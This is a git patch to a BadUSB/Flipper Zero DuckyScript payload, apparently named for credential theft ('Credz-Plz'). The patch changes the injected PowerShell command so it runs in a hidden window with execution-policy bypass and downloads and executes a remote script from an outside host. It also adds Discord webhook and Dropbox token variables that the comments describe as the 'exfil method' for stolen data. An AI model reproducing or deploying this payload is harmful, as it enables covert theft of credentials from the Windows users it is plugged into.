From cb748677b7dfd25459d385f082d8552dd21c93b3 Mon Sep 17 00:00:00 2001 From: Kavitate <79380289+Kavitate@users.noreply.github.com> Date: Wed, 21 Dec 2022 10:24:15 -0600 Subject: [PATCH] Updated Credz-Plz-Execute.txt - Updated script to run PowerShell with a hidden window. - Added Discord webhook variable to script. - Added additional instructions. --- Payloads/Flip-Credz-Plz/Credz-Plz-Execute.txt | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/Payloads/Flip-Credz-Plz/Credz-Plz-Execute.txt b/Payloads/Flip-Credz-Plz/Credz-Plz-Execute.txt index 5e447a1..4020a9f 100644 --- a/Payloads/Flip-Credz-Plz/Credz-Plz-Execute.txt +++ b/Payloads/Flip-Credz-Plz/Credz-Plz-Execute.txt @@ -8,8 +8,10 @@ REM Target: Windows 10, 11 GUI r DELAY 500 -STRING powershell -noexit -ep bypass $db='';iwr https://jakoby.lol/35k | iex +STRING powershell -w h -ep bypass $dc='';$db='';iwr https://jakoby.lol/35k | iex ENTER -REM Remember to replace the link with your DropBox shared link for the intended file to download -REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly +REM Fill in either variable or both to set your exfil method. +REM $db is the variable that holds your DropBox token. +REM $dc is the variable that holds your Discord webhook. +REM If you are using DropBox, also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly.